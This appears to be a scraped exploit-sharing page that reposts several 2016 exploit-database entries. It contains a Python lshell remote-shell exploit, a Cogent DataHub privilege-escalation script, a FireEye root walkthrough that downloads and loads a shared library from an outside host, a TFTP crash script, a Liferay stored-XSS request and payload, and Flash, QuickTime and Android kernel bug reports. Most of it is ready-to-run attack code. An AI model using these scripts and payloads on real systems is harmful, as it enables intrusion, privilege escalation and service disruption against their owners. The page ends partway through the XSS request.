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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=715

The ActionScript parameter conversion in the fix for issue 403 (https://code.google.com/p/google-security-research/issues/detail?id=403) can sometimes access a parameter on the native stack that is uninitialized.

If:

mc.swapDepths();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky and depends a lot on the specific Flash version. It crashes currently in chrome-unstable, by loading crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39613.zip
HireHackking 
#####################################################################################

Application: Apple Quicktime

Platforms: Windows, OSX

Versions: before version 7.7.79.80.95

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1767

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-01-07: Francis Provencher from COSIG report issue to Apple security team;
2016-01-13: Apple security team  confirmed this issue;
2016-03-22: Apple fixed this issue;

https://support.apple.com/en-us/HT206167
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

By providing a malformed FPX file, an attacker is able to create controlled memory corruption, and execute code in the context of the current user.

#####################################################################################

===========

4) POC

===========

Proof of Concept:
http://protekresearchlab.com/exploits/COSIG-2016-14.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39633.zip

###############################################################################
HireHackking 
import paramiko
import traceback
from time import sleep

#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#

if len(sys.argv) < 4:
    print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
    sys.exit(1)

try:
    print '[!] .............................'
    print '[!] lshell <= 0.9.15 remote shell.'
    print '[!] note: you can also ssh in and execute \'/bin/bash\''
    print '[!] .............................'
    print '[!] Checking host %s...'%(sys.argv[3])
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])


    # verify lshell 
    channel = ssh.invoke_shell()
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)

    channel.send('help help\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)

    if not 'lshell' in ret:
        if 'forbidden' in ret:
            print '[-] Looks like we can\'t execute SSH commands'
        else:
            print '[-] Environment is not lshell'
        sys.exit(1)

    # verify vulnerable version
    channel.send('sudo\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)
    if not 'Traceback' in ret:
        print '[-] lshell version not vulnerable.'
        sys.exit(1)
    channel.close()
    ssh.close()

    # exec shell
    print '[+] vulnerable lshell found, preparing pseudo-shell...'
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])

    while True:
        cmd = raw_input('$ ')

        # breaks paramiko
        if cmd[0] is '/':
            print '[!] Running binaries won\'t work!'
            continue

        cmd = cmd.replace("'", r"\'")
        cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
        if len(cmd) > 1:
            if 'quit' in cmd or 'exit' in cmd:
                break
            (stdin,stdout,stderr) = ssh.exec_command(cmd)
        out = stdout.read()
        print out.strip()
except paramiko.AuthenticationException:
    print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
    print '[-] Error: ', e
    print type(e)
    traceback.print_exc(file=sys.stdout)
finally:
    channel.close()
    ssh.close()
HireHackking 
Sources: 
https://bugs.chromium.org/p/project-zero/issues/detail?id=716
https://googleprojectzero.blogspot.ca/2016/03/life-after-isolated-heap.html

The bug is an uninitialized variable in the fix to an ActionScript 2 use-after-free bug. Roughly 80 of these types of issues have been fixed by Adobe in the past year, and two uninitialized variable issues were introduced in the fixes. 

 This issue is fairly easy to reproduce, a proof-of-concept for this issue in its entirety is:

  var o = {};
 o.unwatch();

 The bug occurs because the use-after-free check in the unwatch method attempts to convert its first parameter to a string by calling toString on it before continuing with the part of the method where toString  could cause problems by freeing an object. However, Flash does not check that this parameter exists before calling toString on it. In pseudo-code, the rough behaviour of this method is:

  void* args = alloca( args_size );
 for( int i = 0; i < args_size; i++){
  // Init args
 }

 if ( ((int) args[0]) & 6 == 6 )
  args[0] = call_toString( args[0] );

 if ( args_size < 1)
  exit();


Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39631.zip
HireHackking 
/*

# Exploit Title: Cogent Datahub <= 7.3.9 Gamma Script Elevation of Privilege Vulnerability
# Google Dork: lol
# Date: 28/3/2016
# Exploit Author: mr_me
# Vendor Homepage: http://www.cogentdatahub.com/
# Software Link: http://www.cogentdatahub.com/Contact_Form.html
# Version: <= 7.3.9
# Tested on: Windows 7 x86
# CVE : CVE‑2016-2288

sha1sum: c1806faf0225d0c7f96848cb9799b15f8b249792  CogentDataHub-7.3.9-150902-Windows.exe
Advsiory: https://ics-cert.us-cert.gov/advisories/ICSA-16-084-01

Timeline:
=========
- 02/12/2015 : vuln found, case opened to the zdi
- 09/02/2016 : case rejected (not interested in this vuln due to vector)
- 26/02/2016 : reported to ICS-CERT
- 24/03/2016 : advisory released

Notes:
======
- to reach SYSTEM, the service needs to be installed via the Service Manager
- the service doesnt need to be installed, as long as 'C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe' has been executed by a privileged user
- an attacker does NOT need to restart the machine or the service in order to EP, the service just polls for the Gamma Script

Exploitation:
=============

As a Guest user (or low privileged user) save this file as 'WebstreamSupport.g' into C:\usr\cogent\require\ and enjoy the free SYSTEM calcs. Most OS's dont allow
a write into c:\ as guest, but we are in the SCADA world. Anything is possible.

C:\Users\steven>sc qc "Cogent DataHub"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Cogent DataHub
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe" -H "C:\Users\steven\AppData\Roaming\Cogent DataHub"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Cogent DataHub
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\Users\steven>
*/

require ("Application");
require ("AsyncRun");				// thanks to our friends @ Cogent

class WebstreamSupport Application
{

}

method WebstreamSupport.constructor ()
{
	RunCommandAsync(nil, nil, "cmd.exe /c calc", "c:\\");
}

Webstream = ApplicationSingleton (WebstreamSupport);
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=678

The wireless driver for the Android One (sprout) devices has a bad copy_from_user in the handling for the wireless driver socket private read ioctl IOCTL_GET_STRUCT with subcommand PRIV_CMD_SW_CTRL.

This ioctl is permitted for access from the untrusted-app selinux domain, so this is an app-to-kernel privilege escalation from any app with android.permission.INTERNET.

See 
 hello-jni.tar.gz for a PoC (NDK required to build) that should redirect kernel code execution to 0x40404040.

[   56.843672]-(0)[880:tx_thread]CPU: 0 PID: 880 Comm: tx_thread Tainted: G        W    3.10.57-g9e1c396 #1
[   56.844867]-(0)[880:tx_thread]task: dea3b480 ti: cb99e000 task.ti: cb99e000
[   56.845731]-(0)[880:tx_thread]PC is at 0x40404040
[   56.846319]-(0)[880:tx_thread]LR is at kalDevPortWrite+0x1c8/0x484
[   56.847092]-(0)[880:tx_thread]pc : [<40404040>]    lr : [<c0408be4>]    psr: a0000013
[   56.847092]sp : cb99fdb0  ip : c001813c  fp : cb99fe0c
[   56.848705]-(0)[880:tx_thread]r10: c0cac2f0  r9 : 0000af00  r8 : 00000110
[   56.849552]-(0)[880:tx_thread]r7 : 0000002c  r6 : cc0a63c0  r5 : 00000001  r4 : c0cade08
[   56.850560]-(0)[880:tx_thread]r3 : 40404040  r2 : 00000040  r1 : dd5d0110  r0 : 00000001
[   56.851570]-(0)[880:tx_thread]Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment kernel
[   56.852675]-(0)[880:tx_thread]Control: 10c5387d  Table: 9e9b006a  DAC: 00000015
[   56.853585]-(0)[880:tx_thread]
[   56.853585]LR: 0xc0408b64:
[   56.854297]8b64  e50b3028 e3a03000 e50b3044 0a00008a e590c0d0 e30639ac e34c30a8 e35c0000
[   56.855306]8b84  01a0c003 e2851103 e30c3940 e34c30bc e7eb2055 e1a01621 e3a05001 e593e000
[   56.856314]8ba4  e3a03000 e1a01281 e58d3004 e28114ff e58d5000 e1a03008 e08e1001 e59cc010
[   56.857323]8bc4  e12fff3c e5943014 e3530000 e50b002c 0a000002 e5933018 e1a00005 e12fff33
[   56.858332]8be4  e59635cc e2867e5a e2877004 e24b1048 e30650c0 e34c50a6 e1a00007 e5933000
[   56.859340]8c04  e12fff33 e59635cc e1a00007 e5933004 e12fff33 e5959000 e2899f7d e5953000
[   56.860349]8c24  e30610c0 e1a00007 e34c10a6 e0693003 e3530000 aa00005b e59635cc e5933010
[   56.861358]8c44  e12fff33 e3500000 0afffff3 e59635cc e1a00007 e30856a1 e3405001 e5933014
[   56.862369]-(0)[880:tx_thread]
[   56.862369]SP: 0xcb99fd30:
[   56.863083]fd30  00000001 00000110 00000000 40404040 a0000013 ffffffff cb99fd9c 00000110
[   56.864091]fd50  0000af00 c0cac2f0 cb99fe0c cb99fd68 c000e1d8 c00084b8 00000001 dd5d0110
[   56.865100]fd70  00000040 40404040 c0cade08 00000001 cc0a63c0 0000002c 00000110 0000af00
[   56.866108]fd90  c0cac2f0 cb99fe0c c001813c cb99fdb0 c0408be4 40404040 a0000013 ffffffff
[   56.867117]fdb0  00000001 00000000 c07aeeb8 c029c4b0 c0b9d340 00000110 00000000 00000000
[   56.868126]fdd0  cb99fdf4 cb99fde0 c07aef68 c009d670 9d5d0000 180f002c e54b6168 e54af000
[   56.869135]fdf0  e54b5d10 00000110 dd5d0000 00000000 cb99fe6c cb99fe10 c03db164 c0408a28
[   56.870143]fe10  0000af00 00000004 cb99fe44 cb99fe28 c03eddf4 00000001 00007d10 e54b5d14
[   56.871155]-(0)[880:tx_thread]
[   56.871155]IP: 0xc00180bc:
[   56.871868]80bc  ee070f36 e0800002 e1500001 3afffffb f57ff04f e1a0f00e ee103f30 e1a03823
[   56.872877]80dc  e203300f e3a02004 e1a02312 e2423001 e1c00003 ee070f3a e0800002 e1500001
[   56.873885]80fc  3afffffb f57ff04f e1a0f00e ee103f30 e1a03823 e203300f e3a02004 e1a02312
[   56.874894]811c  e2423001 e1c00003 ee070f3e e0800002 e1500001 3afffffb f57ff04f e1a0f00e
[   56.875902]813c  e0811000 e3320002 0affffd0 eaffffe1 e0811000 e3320001 1affffcc e1a0f00e
[   56.876911]815c  00007fff 000003ff e1a0c00d e92dd830 e24cb004 e1a05000 e1a00001 ebfffe6a
[   56.877920]817c  e1a04000 e1a00005 ebfffe67 e1a01004 e1a05000 eb09bf2a e1a00005 ebfffeaa
[   56.878929]819c  e1a00004 ebfffea8 e89da830 e1a0c00d e92dd818 e24cb004 ebfffe5b e3a01a01
[   56.879940]-(0)[880:tx_thread]
[   56.879940]FP: 0xcb99fd8c:
[   56.880653]fd8c  0000af00 c0cac2f0 cb99fe0c c001813c cb99fdb0 c0408be4 40404040 a0000013
[   56.881662]fdac  ffffffff 00000001 00000000 c07aeeb8 c029c4b0 c0b9d340 00000110 00000000
[   56.882671]fdcc  00000000 cb99fdf4 cb99fde0 c07aef68 c009d670 9d5d0000 180f002c e54b6168
[   56.883679]fdec  e54af000 e54b5d10 00000110 dd5d0000 00000000 cb99fe6c cb99fe10 c03db164
[   56.884688]fe0c  c0408a28 0000af00 00000004 cb99fe44 cb99fe28 c03eddf4 00000001 00007d10
[   56.885697]fe2c  e54b5d14 e54af000 00000000 cb99fe6c cb99fe48 c03da49c e54b6168 e54af000
[   56.886705]fe4c  c0cac2f0 00000000 e54af000 00000000 c0cac2f0 cb99fe8c cb99fe70 c03bd0f4
[   56.887714]fe6c  c03dae1c 00000001 00000000 e54b6168 00000000 cb99fee4 cb99fe90 c03bd540
[   56.888726]-(0)[880:tx_thread]
[   56.888726]R1: 0xdd5d0090:
[   56.889439]0090  00000002 60070193 c0a9d860 00000001 00000003 0d050d04 60070193 60070193
[   56.890447]00b0  c0a8d800 00002ab0 cb99fe9c cb99fe50 c00d3a84 c001ee84 0b93115f 00000000
[   56.891456]00d0  ffffffff 00000000 00000036 00000000 75fd19aa cb99fea0 e54dfac4 e54dfab8
[   56.892465]00f0  e54dfac4 60070113 cc0a65f8 c0cac730 cc0a6464 c0cac2f0 cb99fec4 062e062d
[   56.893473]0110  00000000 c2ec5c43 e91cd01a 3ef74ed2 256fb013 c9a73709 0d15c700 aa03b775
[   56.894482]0130  10b66433 696d6e70 4f66e845 6fc5d5f5 fffd363f a9960104 61007ab4 5b193ffc
[   56.895491]0150  25b0d02e 7fbf9ac1 c3de7bb9 b7bc184f 47c837ed 0d3b82cd aa3d7d38 72ac0fad
[   56.896499]0170  a469220b 96e646bc 49677d77 a6fae9d7 2d03b2c7 a52e0556 16f0641d 96c95111
[   56.897511]-(0)[880:tx_thread]
[   56.897511]R4: 0xc0cadd88:
[   56.898224]dd88  c0cadc88 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[   56.899233]dda8  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[   56.900241]ddc8  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[   56.901250]dde8  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[   56.902259]de08  41414142 41414141 41414141 41414141 41414141 c0cadc90 000001d3 000001d3
[   56.903267]de28  000001d2 000000ca 000000c7 00000000 00000000 00000000 00000000 00000000
[   56.904276]de48  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.905285]de68  00000000 00000000 c04265ec 00000000 00000000 00000000 00000000 00000000
[   56.906297]-(0)[880:tx_thread]
[   56.906297]R6: 0xcc0a6340:
[   56.907009]6340  00000000 00000000 00000000 dead4ead ffffffff ffffffff cc0a6358 cc0a6358
[   56.908018]6360  df8f9674 dfba8764 df8f9684 00000001 c0b45604 00000000 00000000 00000000
[   56.909027]6380  00000001 de764130 00000000 00000000 c080e18c 00000000 00000000 00000000
[   56.910035]63a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.911044]63c0  dd9e1000 00000000 00000075 0000007f 0000a051 00006107 00000000 00000000
[   56.912053]63e0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.913062]6400  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.914070]6420  00000000 cb000000 00000700 00000000 00000000 00000000 00000000 00000000
[   56.915082]-(0)[880:tx_thread]
[   56.915082]R10: 0xc0cac270:
[   56.915806]c270  7f54e330 00000000 7f54e330 00000000 7f5b84c9 00000004 00000000 00000000
[   56.916814]c290  00000000 00000000 00000001 00000001 00000001 00000000 00000000 00000000
[   56.917823]c2b0  00000001 00000000 dead4ead ffffffff ffffffff c0cac2c4 c0cac2c4 00000000
[   56.918832]c2d0  00000000 00000001 600f0113 000c000c dead4ead ffffffff ffffffff 00000000
[   56.919840]c2f0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.920849]c310  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.921858]c330  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.922866]c350  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.923880]-(0)[880:tx_thread]Process tx_thread (pid: 880, stack limit = 0xcb99e248)
[   56.924845]-(0)[880:tx_thread]Stack: (0xcb99fdb0 to 0xcb9a0000)
[   56.925584]-(0)[880:tx_thread]fda0:                                     00000001 00000000 c07aeeb8 c029c4b0
[   56.926801]-(0)[880:tx_thread]fdc0: c0b9d340 00000110 00000000 00000000 cb99fdf4 cb99fde0 c07aef68 c009d670
[   56.928016]-(0)[880:tx_thread]fde0: 9d5d0000 180f002c e54b6168 e54af000 e54b5d10 00000110 dd5d0000 00000000
[   56.929230]-(0)[880:tx_thread]fe00: cb99fe6c cb99fe10 c03db164 c0408a28 0000af00 00000004 cb99fe44 cb99fe28
[   56.930445]-(0)[880:tx_thread]fe20: c03eddf4 00000001 00007d10 e54b5d14 e54af000 00000000 cb99fe6c cb99fe48
[   56.931660]-(0)[880:tx_thread]fe40: c03da49c e54b6168 e54af000 c0cac2f0 00000000 e54af000 00000000 c0cac2f0
[   56.932874]-(0)[880:tx_thread]fe60: cb99fe8c cb99fe70 c03bd0f4 c03dae1c 00000001 00000000 e54b6168 00000000
[   56.934089]-(0)[880:tx_thread]fe80: cb99fee4 cb99fe90 c03bd540 c03bcf6c 000007d0 cc0a63c0 00000000 00000000
[   56.935304]-(0)[880:tx_thread]fea0: c000009a cc0a6a50 00000000 00000000 cc0a65f8 80000013 cc0a6464 cc0a63c0
[   56.936519]-(0)[880:tx_thread]fec0: cc0a6a5c cb99e000 cc0a65f8 c0cac730 cc0a6464 c0cac2f0 cb99ff44 cb99fee8
[   56.937734]-(0)[880:tx_thread]fee0: c03efce4 c03bd300 dd6b1dd4 a0070013 c0cade28 cb99e028 c0090920 cc0a6a50
[   56.938948]-(0)[880:tx_thread]ff00: 01a5fc40 00000000 dea3b480 c0090920 cb99ff10 cb99ff10 c03ef9d4 dd5bfdbc
[   56.940163]-(0)[880:tx_thread]ff20: 00000000 dd9e1000 c03ef9d4 00000000 00000000 00000000 cb99ffac cb99ff48
[   56.941378]-(0)[880:tx_thread]ff40: c008fadc c03ef9e0 ffffffff 00000000 df9958c0 dd9e1000 00000000 00000000
[   56.942593]-(0)[880:tx_thread]ff60: dead4ead ffffffff ffffffff cb99ff6c cb99ff6c 00000000 00000000 dead4ead
[   56.943807]-(0)[880:tx_thread]ff80: ffffffff ffffffff cb99ff88 cb99ff88 dd5bfdbc c008fa20 00000000 00000000
[   56.945022]-(0)[880:tx_thread]ffa0: 00000000 cb99ffb0 c000e618 c008fa2c 00000000 00000000 00000000 00000000
[   56.946236]-(0)[880:tx_thread]ffc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   56.947452]-(0)[880:tx_thread]ffe0: 00000000 00000000 00000000 00000000 00000013 00000000 ffffffff ffffffff
[   56.948658]Backtrace: 
[   56.948966]-(0)[880:tx_thread][<c0408a1c>] (kalDevPortWrite+0x0/0x484) from [<c03db164>] (nicTxCmd+0x354/0x638)
[   56.950213] r9:00000000 r8:dd5d0000 r7:00000110 r6:e54b5d10 r5:e54af000
r4:e54b6168
[   56.951190]-(0)[880:tx_thread][<c03dae10>] (nicTxCmd+0x0/0x638) from [<c03bd0f4>] (wlanSendCommand+0x194/0x220)
[   56.952449]-(0)[880:tx_thread][<c03bcf60>] (wlanSendCommand+0x0/0x220) from [<c03bd540>] (wlanProcessCommandQueue+0x24c/0x474)
[   56.953859] r6:00000000 r5:e54b6168 r4:00000000 r3:00000001
[   56.954568]-(0)[880:tx_thread][<c03bd2f4>] (wlanProcessCommandQueue+0x0/0x474) from [<c03efce4>] (tx_thread+0x310/0x640)
[   56.955927]-(0)[880:tx_thread][<c03ef9d4>] (tx_thread+0x0/0x640) from [<c008fadc>] (kthread+0xbc/0xc0)
[   56.957088]-(0)[880:tx_thread][<c008fa20>] (kthread+0x0/0xc0) from [<c000e618>] (ret_from_fork+0x14/0x3c)
[   56.958270] r7:00000000 r6:00000000 r5:c008fa20 r4:dd5bfdbc
[   56.958970]-(0)[880:tx_thread]Code: bad PC value
[   56.959544]-(0)[880:tx_thread]---[ end trace 1b75b31a2719ed1f ]---
[   56.960313]-(0)[880:tx_thread]Kernel panic - not syncing: Fatal exception

The vulnerable code is in /drivers/misc/mediatek/conn_soc/drv_wlan/mt_wifi/wlan/os/linux/gl_wext_priv.c:1632

    case PRIV_CMD_SW_CTRL:
        pu4IntBuf = (PUINT_32)prIwReqData->data.pointer;
        prNdisReq = (P_NDIS_TRANSPORT_STRUCT) &aucOidBuf[0];

        //kalMemCopy(&prNdisReq->ndisOidContent[0], prIwReqData->data.pointer, 8);
        if (copy_from_user(&prNdisReq->ndisOidContent[0],
                           prIwReqData->data.pointer,
                           prIwReqData->data.length)) {
            status = -EFAULT;
            break;
        }
        prNdisReq->ndisOidCmd = OID_CUSTOM_SW_CTRL;
        prNdisReq->inNdisOidlength = 8;
        prNdisReq->outNdisOidLength = 8;

        /* Execute this OID */
        status = priv_set_ndis(prNetDev, prNdisReq, &u4BufLen);
        break;

prNdisReq->ndisOidContent is in a static allocation of size 0x1000, and prIwReqData->data.length is a usermode controlled unsigned short, so the copy_from_user results in memory corruption.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39629.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=670

The mip user is already quite privileged, capable of accessing sensitive network data. However, as the child process has supplementary gid contents, there is a very simple privilege escalation to root. This is because the snort configuration is writable by that group:

$ ls -l /data/snort/config/snort.conf
-rw-rw-r-- 1 fenet contents 1332 Dec  2 18:02 /data/snort/config/snort.conf

This can be exploited by placing a shared library in a writable directory that is mounted with the “exec” option, and appending a “dynamicengine” directive to the snort configuration.

# mount | grep -v noexec | grep rw 
...
/dev/sda8 on /var type ext4 (rw,noatime)
/dev/sda11 on /data type ext4 (rw,noatime)
/dev/sda9 on /data/db type ext4 (rw,noatime,barrier=0)
tmpfs on /dev/shm type tmpfs (rw)

It looks like /dev/shm is a good candidate for storing a shared library.

First, I create and compile a shared library on my workstation, as there is no compiler available on the FireEye appliance:

$ cat test.c 
void __attribute__((constructor)) init(void)
{
        system("/usr/bin/id > /tmp/output.txt");
}
$ gcc test.c -shared -s -fPIC -o test.so

Now fetch that object on the FireEye machine, and instruct snort to load it:

fireeye$ curl http://example.com/test.so > /dev/shm/test.so
fireeye$ printf “dynamicengine /dev/shm/test.so\n” >> /data/snort/config/snort.conf

The snort process is regularly restarted to process new rules, so simply wait for the snort process to respawn, and verify we were able to execute commands as root:

fireeye$ cat /tmp/output.txt                                                           
uid=0(admin) gid=0(root) groups=0(root)

And now we’re root, with complete control of the FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any other action.
HireHackking 
# Exploit Title: TallSoft SNMP TFTP Server 1.0.0 - DoS
# Date: 28-03-2016
# Software Link: http://www.tallsoft.com/snmp_tftpserver.exe
# Exploit Author: Charley Celice (stmerry)
# Contact: https://twitter.com/charleycelice
#
# Credits: Based off TallSoft Quick TFTP Server 2.2 DoS
# * https://www.exploit-db.com/exploits/26010/
#
# Category: Denial of Service
# Tested on: Windows XP SP3 English
# Details: Remotely crash TallSoft SNMP TFTP Server

from socket import *
import sys, select

address = ('127.0.0.1', 69)

# sufficient for the crash to work
crash = "\x00\x02\x00"
crash += "\x41"*1019
 
server_socket = socket(AF_INET, SOCK_DGRAM)
server_socket.sendto(crash, address)
HireHackking 
#Exploit Title: Liferay Portal 5.1.2 - Persistent XSS 
#Discovery Date: 2016-02-10
#Exploit Author: Sarim Kiani
#Vendor Homepage: https://www.liferay.com
#Software Link: https://www.liferay.com/community/releases
#Version: 5.1.2
#Tested on: Windows OS

Liferay Portal 5.1.2 is an open source version of Liferay's enterprise web platform for building business solutions that deliver immediate results and long-term value.

1. Vulnerability Description:

A persistent XSS exists in "My Account" page of the application.

2. Proof of Concept:

Any user entering personal information in the "My Account" page of the application can insert XSS Payload in the Form.

Test Payload: "><script>alert(1);</script>

Parameter: _79_jobTitle
Parameter Name: Job Title

POST /user/test/home?p_p_id=79&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_79_struts_action=%2Fenterprise_admin%2Fedit_user HTTP/1.1
Host: localhost:8082
Content-Length: 2712
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8082/user/test/home?p_p_id=79&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_79_struts_action=%2Fenterprise_admin%2Fedit_user&_79_redirect=http%3A%2F%2Flocalhost%3A8082%2Fuser%2Ftest%2Fhome%3Fp_p_id%3D79%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_79_struts_action%3D%252Fenterprise_admin%252Fview%26_79_tabs1%3Dusers%26_79_tabs2%3D%26_79_tabs3%3D%26_79_keywords%3D%26_79_advancedSearch%3Dfalse%26_79_andOperator%3Dtrue%26_79_firstName%3D%26_79_middleName%3D%26_79_lastName%3D%26_79_screenName%3D%26_79_emailAddress%3D%26_79_active%3Dtrue%26_79_organizationId%3D0%26_79_roleId%3D0%26_79_userGroupId%3D0%26_79_cur%3D1&_79_p_u_i_d=10301
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: LFR_SESSION_STATE_10127=1459071499499; COOKIE_SUPPORT=true; JSESSIONID=F53EC8D33C0D3ED9AD62FDA0BB682201; COMPANY_ID=10106; ID=7a31746f4f4c712f4179453d; PASSWORD=4e4c77485138744d61356f3d; LOGIN=74657374406c6966657261792e636f6d; SCREEN_NAME=4e4c77485138744d61356f3d; GUEST_LANGUAGE_ID=en_US
Connection: close

_79_cmd=update&_79_tabs2=display&_79_tabs3=email-addresses&_79_tabs4=phone-numbers&_79_redirect=http%3A%2F%2Flocalhost%3A8082%2Fuser%2Ftest%2Fhome%3Fp_p_id%3D79%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_79_struts_action%3D%252Fenterprise_admin%252Fedit_user%26_79_tabs2%3Ddisplay%26_79_tabs3%3Demail-addresses%26_79_tabs4%3Dphone-numbers%26_79_backURL%3Dhttp%253A%252F%252Flocalhost%253A8082%252Fuser%252Ftest%252Fhome%253Fp_p_id%253D79%2526p_p_lifecycle%253D0%2526p_p_state%253Dmaximized%2526p_p_mode%253Dview%2526_79_struts_action%253D%25252Fenterprise_admin%25252Fview%2526_79_tabs1%253Dusers%2526_79_tabs2%253D%2526_79_tabs3%253D%2526_79_keywords%253D%2526_79_advancedSearch%253Dfalse%2526_79_andOperator%253Dtrue%2526_79_firstName%253D%2526_79_middleName%253D%2526_79_lastName%253D%2526_79_screenName%253D%2526_79_emailAddress%253D%2526_79_active%253Dtrue%2526_79_organizationId%253D0%2526_79_roleId%253D0%2526_79_userGroupId%253D0%2526_79_cur%253D1%26_79_p_u_i_d%3D&_79_backURL=http%3A%2F%2Flocalhost%3A8082%2Fuser%2Ftest%2Fhome%3Fp_p_id%3D79%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_79_struts_action%3D%252Fenterprise_admin%252Fview%26_79_tabs1%3Dusers%26_79_tabs2%3D%26_79_tabs3%3D%26_79_keywords%3D%26_79_advancedSearch%3Dfalse%26_79_andOperator%3Dtrue%26_79_firstName%3D%26_79_middleName%3D%26_79_lastName%3D%26_79_screenName%3D%26_79_emailAddress%3D%26_79_active%3Dtrue%26_79_organizationId%3D0%26_79_roleId%3D0%26_79_userGroupId%3D0%26_79_cur%3D1&_79_p_u_i_d=10301&_79_tabs1TabsScroll=&_79_screenName=user&_79_emailAddress=user%40xyz.com&_79_prefixId=&_79_firstName=John&_79_middleName=&_79_lastName=Hopkins&_79_suffixId=&_79_birthdayMonth=0&_79_birthdayDay=1&_79_birthdayYear=1970&_79_male=1&_79_organizationIds=&_79_organizationNames=&_79_jobTitle=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&_79_tabs2TabsScroll=&_79_languageId=en_US&_79_timeZoneId=Pacific%2FMidway&_79_greeting=Welcome+John+Hopkins%21&_79_password1=&_79_password2=&_79_passwordReset=false&_79_tabs3TabsScroll=&_79_tabs4TabsScroll=&_79_openId=&_79_smsSn=&_79_aimSn=&_79_icqSn=&_79_jabberSn=&_79_msnSn=&_79_skypeSn=&_79_ymSn=&_79_facebookSn=&_79_mySpaceSn=&_79_twitterSn=&_79_announcementsTypegeneralEmail=false&_79_announcementsTypegeneralSms=false&_79_announcementsTypegeneralWebsite=true&_79_announcementsTypegeneralWebsiteCheckbox=on&_79_announcementsTypenewsEmail=false&_79_announcementsTypenewsSms=false&_79_announcementsTypenewsWebsite=tru